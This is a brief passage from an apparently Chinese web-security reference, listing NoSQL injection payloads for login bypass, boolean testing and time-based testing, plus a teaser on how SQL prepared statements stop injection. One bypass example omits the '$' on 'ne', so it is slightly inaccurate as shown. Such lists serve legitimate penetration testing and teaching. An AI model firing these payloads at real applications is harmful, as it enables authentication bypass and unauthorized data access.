37. NoSQL Payload

  • 绕过限制条件
    • {"username": "user"} => {"username": {"ne": "fakeuser"}}
    • {"$where": "return true"}
  • 测试用字符
    • '"\/$[].>
  • 布尔测试常用
    • {"$ne": -1}
    • {"$in": []}
    • {"$where": "return true"}
    • {"$or": [{},{"foo":"1"}]}
  • 时间
    • {"$where": "sleep(100)"}
下一节:SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。